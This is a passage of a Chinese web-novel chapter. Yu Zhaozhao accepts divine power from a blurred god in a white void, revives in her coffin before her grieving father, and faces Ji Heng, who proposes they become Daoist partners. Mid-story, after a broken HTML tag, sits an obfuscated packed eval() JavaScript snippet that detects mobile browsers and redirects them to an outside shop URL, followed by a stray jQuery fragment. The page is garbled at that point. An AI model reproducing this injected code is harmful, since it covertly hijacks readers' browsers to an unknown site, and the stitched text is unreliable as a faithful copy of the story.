虞昭昭不知道在这片虚无中到底走了有多久。
没有太阳,没有月亮,没有参照物。
她只能靠自己的脚步数着时间,一步,两步,一百步,一千步。
数到最后也乱了,索性不数了。
但她觉得这路好像没有尽头。
走到最后,她实在是累极了。累到不想再迈一步。
她一屁股坐在地上,也顾不上什么形象了。
“唉——”她仰天长叹,“人怎么能活得这么狼狈呢。”
纯白的“天”沉默地看着她,没有回答。
就在她真的以为自己将被这虚无吞噬的时候,面前出现了一道身影。
像有人在一块白布上剪了一个口子,然后把这个人影贴了上去。虞昭昭抬起头,眯着眼看了半天。看不清脸。连身形都看不清。
整个人像隔了一层毛玻璃,又像被人用马赛克打了码,轮廓是有的,细节全是糊的。
“虞昭昭。”
声音从四面八方同时涌过来,像被包围了。
虞昭昭从地上翻身爬起来,拍了拍并不存在的灰,仰头看着那团马赛克。
“你是谁?”
那团马赛克似乎笑了一下。
“吾乃神。”
虞昭昭沉默了片刻。
对方出场方式确实挺神的。
“神?神为什么会出现在这里?”
祂没有直接回答这个问题,而是开口问道。
“你可想回去?”
虞昭昭愣了愣。
“回哪里?回家吗?”
她说的“家”,不是客栈,不是逍遥宗,不是霜华峰。
祂摇了摇头。
“回到你该回的地方。”
虞昭昭心里那一小簇刚燃起来的火苗,灭了。
“如果我不回去了呢。”她问。
祂好像嗤笑出声。
“那你,会永远的消失。”
虞昭昭低下了头。
她看着自己半透明的脚尖,看着这片无边无际的纯白地面,脑子里有两个小人在打架。
一个说:回去吧回去吧,好歹还活着有条命。活着才有机会吃烧鹅,活着才有机会骂季珩,活着才有机会可以回到原本的世界。
另一个说:算了吧算了吧,他们对你也不是很好。你救了这个救那个,最后呢?被人利用,被人骗,被人当成工具使。回去干嘛?继续当工具吗?
两个小人打得很激烈,谁都不让谁。
虞昭昭看着它们打,看着看着忽然觉得很好笑。
她无奈地叹了口气。
“我回去。”
祂的语气中充满了称赞:“好孩子。吾可以送你回去。”
虞昭昭一听便品出了这言外之意。
这些NPC,不管是人是妖还是神,说话都喜欢说一半,留一半,等你接茬。
“是有条件,对吗?”
“你们凡人果然聪明。”
虞昭昭在心里翻了个白眼。果然。天下没有免费的复活甲。
祂接着说。
“吾看这世间轮回千载,以神力支撑一切。可如今,时日渐久,吾神力无法留存,在消散。”
祂没有再说下去。
但虞昭昭听懂了。
神力在消散,神快要不是神了。
需要找个人接盘。
“所以需要我怎么做?”她问。
“吾将一部分神力赐予你,赐你神格。”
虞昭昭想了想。
脑子里飞速盘算。
有了神力,灵力是不是也会跟着涨?
她现在灵力全废,跟个普通人没什么区别。
如果有了神力,至少能自保。
“有了神力,我的灵力是不是会有增长?我会变得更厉害?”她问。
“只要有神力,”祂说,“那便是不死之身。”
不死之身。听起来,像是一件好事。
“我答应了。”她说。
祂笑着拍了拍手。
然后抬起手,指尖点在她的眉心。
一股宏大的力量瞬间席卷全身。
不是灵力那种温和的可以被驯服的力量,是更原始的更粗暴的,像洪水猛兽一样不讲道理的力量。
炙热,滚烫,像岩浆顺着血管流淌,从眉心灌入,冲向四肢百骸,烧过每一条经脉每一个穴位。
“啊——!”
虞昭昭忍不住痛叫出声。
她不怕疼,从穿越到现在,她受过的伤挨过的疼,比过去十七年加起来都多。
但这次不一样。
是灵魂被撑开,被重塑,被烧熔了再浇铸成新形状的疼。
她甚至怀疑自己会死。
很离谱,但她觉得这个死法很适合她。
脑子里闪出无数画面。像走马灯,转得飞快。
她看到自己坐在高中的教室里,窗外是蝉鸣,黑板上写着距离高考还有多少天。
她看到妈妈在厨房里炖排骨,锅盖掀开的瞬间,白雾模糊了镜头。
她看到自己第一次走进逍遥宗的山门,看到肥啾炸着毛喊“宿主”,看到季珩站在秘境入口,月光落在他肩上。
现实世界的记忆。穿越后的记忆。混在一起,谁也看不清谁。
一滴泪落下来,砸在纯白的地面上。
她想回家。
祂将自己的一大部分神力赐给了她。
然后喂给了她一颗息宁丹。
丹药所到之处,那些被神力灼烧过的经脉像是被敷上了一层冰膜,滚烫的温度慢慢降下来,剧烈的疼痛一点一点平息。
祂收回手,身影开始变淡。
“你可以回去了。”
祂还说了什么。但剧痛后模糊的脑袋让虞昭昭没听清。
然后祂彻底消失。
纯白空间里又只剩下她一个人。
她低头看着自己的手。不是半透明的了。是实的。
神力。
她现在有神力了。
不死之身。
虞昭昭伸出手,刚想适应一下那股刚入体的神力。
突然两眼一黑。
她最后的意识里只有一个念头:马赛克神,你给的这神力,是不是不想让我用啊!!
再次睁开眼时,映入眼帘的是一张放大了的脸。
满脸泪痕,眼眶红肿,头发花白了不少。
虞昭昭盯着那张脸看了两秒,认出是谁后,鼻子一下子就酸了。
“爹。”
虞固的手正悬在半空中,准备合上棺材盖子。
听到这一声“爹”,他整个人僵在原地。
那只手停在空中,抖得厉害。
他眨了眨眼,又眨了眨眼,以为是自己老眼昏花出现了幻觉。
然后他颤巍巍地伸出手,探了探虞昭昭的鼻息。
有气的。
温热的,均匀的,活人的气息。
“昭昭没死!”虞固的声音从哽咽变成了嘶吼,转头冲着身后喊。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642759|202527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“昭昭没死!快来人!我女儿没死!”
虞昭昭撑着棺材边缘坐起来。
棺木很硬,硌得她手肘疼。
她低头看了看自己。
穿着一身素白的衣裳,头发散着,脸上大概也被拾掇过了,干干净净的。
她撑着棺沿跳了出来,动作不太优雅,裙摆还被木刺勾了一下,撕拉一声。
她抬起头,看到了满院的素白。
白幡,白烛,白花,白布。
连院子里的桂花树上都缠着白纸条,风一吹,哗啦啦地响。
院中站着乌泱泱一排人,沈念初、孟安时、江映雪、苏锦书,还有一些她叫不上名字的宗门弟子。
每个人的表情都像被人按了暂停键,嘴巴微张,眼睛瞪大,脸上的泪痕还没干,新的震惊又覆了上去。
沈念初的嘴张得最大,能塞进一个鸡蛋。
孟安时的手搭在她肩上,忘了收回来。
江映雪的睫毛上还挂着泪珠。
苏锦书一向平静的脸上也多了几分讶异。
而季珩站在人群最后面。
他的表情是所有人里最奇怪的。
虞昭昭看到他,心里那股火蹭窜了上来。
她气冲冲地走到季珩面前,攥着拳头,嘴唇抿成一条线,准备把攒了一肚子的话全倒出来。
你个骗子,你利用我,你根本不喜欢我,从今往后我们桥归桥路归路,我虞昭昭跟你再无瓜葛——
她张了张嘴。
什么都没说出来。
那些话堵在嗓子眼里,像是被什么东西卡住了,上不去下不来,噎得她眼眶发红。
她看着季珩。
看着他眼底那片红血丝,看着他下巴上冒出的青黑胡茬,看着他素白孝衣下消瘦了一圈的肩膀。
她心里突然一酸。
季珩先开了口。
“昭昭。”
他的声音很哑,每一个字都带着粗糙的涩意。
他张了张嘴,似乎在斟酌下一句该说什么,喉结上下滚动了一下,眼眶慢慢红了。
虞昭昭看着他的眼睛。
那双桃花眼,她一直觉得好看的眼睛,此刻盛满了她看不懂的东西。
别看了。她在心里对自己说。再看又要上当了。
她没有移开视线。
“季珩,我们……”
话没说完。
“我们去姻缘石。”他的声音不大,但每个字都说得很清楚,“让苍天见证,我们结为道侣,可好?”
院中一片死寂。
所有人的目光都落在他们两个人身上。
虞昭昭看着季珩,看了很久。
她应该拒绝的。应该转身走掉,留给他一个干脆利落的背影,让他知道她虞昭昭不是那么好骗的。
可她还是忍不住问道。
“为什么?”
季珩说道。
“我不想再失去你了。”
院中更静了。
静到能听见风穿过树叶的沙沙声,静到能听见远处街市上隐约传来的叫卖声。
虞昭昭站在原地,看着季珩的脸。他的表情很认真,认真到不像是在演戏。
可她分不清了。
“季珩,你知不知道你在说什么?”
“知道。”
“你知不知道,你骗过我。”
季珩沉默了一瞬。
然后他说:“知道。”
“那你凭什么觉得,我还会信你?”